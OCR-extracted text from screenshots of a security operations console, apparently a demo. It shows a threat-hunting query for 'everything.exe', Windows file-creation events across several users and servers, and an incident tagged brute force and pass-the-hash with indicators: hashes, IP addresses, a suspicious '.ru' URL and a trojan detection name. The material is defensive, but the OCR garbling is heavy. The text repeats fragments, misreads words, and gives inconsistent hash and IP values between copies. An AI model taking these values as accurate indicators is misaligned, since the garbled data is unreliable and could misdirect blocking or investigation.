File created

Operation type:
File created

Operation type:
File created

Operation type:
File created

Operation type:
File created

Operation type:
File created

Operation type:
File created

Operation type:
File created

Operation type:
File created

Operation type:
File created

Hash:
SHA256

Hash:
SHA256

Hash:
SHA256

Hash:
SHA256

Hash:
SHA256

Hash:
SHA25&

Hash:
SHA256

Hash:
SHA256

Hash:
SHA256

Hash:
SHA256

Hash:
SHA256

Hash:
SHA256

Hash:
SHA256

MD5

MDS

MD5

MDS

MD5

MD5

MD5

MDS

MD5

MDS

MD5

MD5

Save as TAA (I0A) rule

Import

& Back toincident

Last day

Group by...

User name

OSMP\user3

OSMP\userZ

OSMP\user3

OSMP\OSMP-SRV3S

OSMP\OSMP-SRVI$

OSMP\OSMP-SRV2$

OSMP\user3

OSMP\userZ

OSMP\user3

OSMP\userZ

OSMP\user3

OSMP\userZ

OSMP\user3

-



* soc

Company Name .
6 tenants selacted Threat Huntmg Save as TAA (I0A) rule Import Last day v
PR Dashboard FileName CONTAINS “everything.exe” AND EventType = “FileChanged" AND MD5 = “b2e26b3562562d5c2647eb466Td17eb6"”
fi] Reports
All events (28 events) L Qo -
INFORMATION
P Alerts
Eventtime | Event Host Details User name
% Incidents
05 Fabruary 2021 Fils changed _ File: Importance:  Operation type:  Hash OSMP\user3
16:27:37242 C\Windows\ Everything exe A Medum  File created SHA256 MD5
[ Notifications
05 February 2021 File changed _ File: Importance: Operation type: Hash, OSMP\userZ
TOOLS 16:27:09.300 CAWindows)\Everything. exe A Medium File created SHA256 MDS
T= Threat hunting 05 February 2021 File changed _ File: Importance:  Operationtype:  Hash OSMP\user3
16:23:04138 C\Windows\ Everything exe A Medum  File created SHA256 MD5
W Incident rules
05 February 2021 File changed OSMP-SRV3.0smp.test File: Impartance: Operation type! Hash: OSMP\OSMP-SRV3S
cE Playbooks ” 16:23:04133 CAWindows)\Everything. exe A Medium File created SHA256 MDS
05 Fabruary 2021 Fils changed OSMP-SRV3.0smpiest File: Importance:  Operation type:  Hash OSMP\OSMP-SRV3$
ASSETS 16:27:37242 3 dows) Eve gexe A Medium File created SHA256 MDS
Devices
E 05 February 2021 File changed Importance: Operation type: Hash: OSMP\OSMP-SRV2$
16:00:51863 A Medium File created SHA256 MDS
it Users
. 05 February 2021 File changed Create a prevention rule Importance: Operation type: Hash: OSMP\user3
01 Applications 055158221 A Medum  File created SHA256 MDS
Create a task
05 February 2021 File changed Importance: Operation type: Hash, OSMP\userZ
05:5158.228 Find alerts. A Medium File created SHA256 MDS
05 Fabruary 2021 Fils changed Copy value to clipboard Importance:  Operation type:  Hash OSMP\user3
05:5158149 A Medium File created SHA256 MDS5

05 February 2021 File changed
05:5158149

File: Importance: Operation type: Hash, OSMP\userZ
CAWindows)\Everything. exe A Medium File created SHA256 MDS

05 February 2021 File changed File: Importance:  Operation type:  Hash OSMP\user3

055158149 C\Windows\Everything exe A Medium  File created SHA256 MDS

05 February 2021 File changed Fi Importance: Operation type: Hash, OSMP\userZ
05:5158149 CAWindows)\Everything. exe A Medium File created SHA256 MDS
05 Fabruary 2021 Fils changed File: Importance:  Operation type:  Hash OSMP\user3
055158149 C\Windows\ Everything exe A Medum  File created SHA256 MD5

[I] Online Help
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Incident SOC 35425

Company Name

soc Brute force  Pass-the-hash  File Discovery
Summary Timeline Investigationgraph MITRE Matrix  Alerts (12) Assets(7) Observables(106) ® Communications History

&

Vs (@sewrrn . ... ]
+ add | & Edit
[ DateAdded | Type Value Zone Details
B ooz00123456 Hash b2e26b3562562d5c2647eb466Fd17ebb @ Grosn Status name
. 01012020 12:34:56 File name encryptionexe A Yellow -
B 01012020 123456 Fils name image jpg @ Green -
B  o02020123456 File name important doc2docx ® Green -
B 01012020 123456 Fils name image jpg @ Green -
B  o02020123456 P 106919857 ] Red -
B 01012020 123456 P 1008065 ] Red -
B  o02020123456 File name important doc3dacx ® Green -
B 01012020 123456 URL strangecreatures ru ] Red -
. 01012020 12:34:56 Hash Signature A Yellow -
B 01012020 123456 Fils name important docédoex @ Green -
B  o02020123456 Hash Signature ] Red -
B 01012020 123456 Hash Signature ] Red -
B  o02020123456 File name important docl0docx ® Green -
B 01012020 123456 Fils name important dogl3 docx @ Green -

Online Help
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SOC (o= loC details ap -
Incident SOC 35425

Bruteforce  Pass-the-hash  File Discovery -+ Add to NGFW block list

@ Assignto(Escalatoto) | [Z] Changeseverity (@ Linkslert @ Merge withanother incident [ Loavs 3 Chango statu: General information
MD5
. . b2e26b3562562d5c2647eb466fd17ebs
Summary Timeline Investigationgraph MITRE Matrix  Alerts (12) Assets(7) Observables(105) @ Communications History
SHA-1
52aacfe08a0d514ebcclab340659145145¢fa400
[ Q, Search SHA-256
Format Size Signed by Packed by Hits (»)
+ Add ? Edit PE 2260560B  \Voidtools  None 100
a i First seen Last seen
Date Added Type Value Zone Details Jan25,2021  Feb10,2021
B o000 Hash b2026b3562562d5¢2647eb4b61d17ebb ® Groon Statusname
File names
B 0012020123456 Fie nama oncryption exo A Yolow Statusnomo
Hits (=) File name
B 001202012345 Fie name imagejpg @ Greon 100
B  ow012020123456 Fie name important doc2docx @ Green
File paths
01012020 23456 Fio name Groen
= ot © Hits (=) Path Location
100 everything ProgramFiles
B 0101202012345 [ 106919657 [E] Red
B o000123¢5s [3 1008045 [1] Red Status nama
Hits () Path Location
B 0101202012348 Fie name important doc3docx @® Groen =10 m ProgramFiles
[ 01012020 123456 URL strangecreaturesru E Red
Hits (~) Path Location
(=] 01012020 123456 Hash Signature A Yolow =10 everythingl41 ProgramFiles
B 0101202023486 Fie name important docédock © Green
File started the following objects
] 01012020 123456 Hash Signature [] Red
Zone Hits (%) Md5
@  owzoonmss proses s [ red Red 10 4691E76BBODAAY3CT7EEADS2202CCED *
Name DetectionName
[} 01012020 1234:56 Fie name important doci0.docx © Green rufus-39.exe BSS:TrojanWin32.Generic
B oz02012345 Fila name important docl3docx © Green
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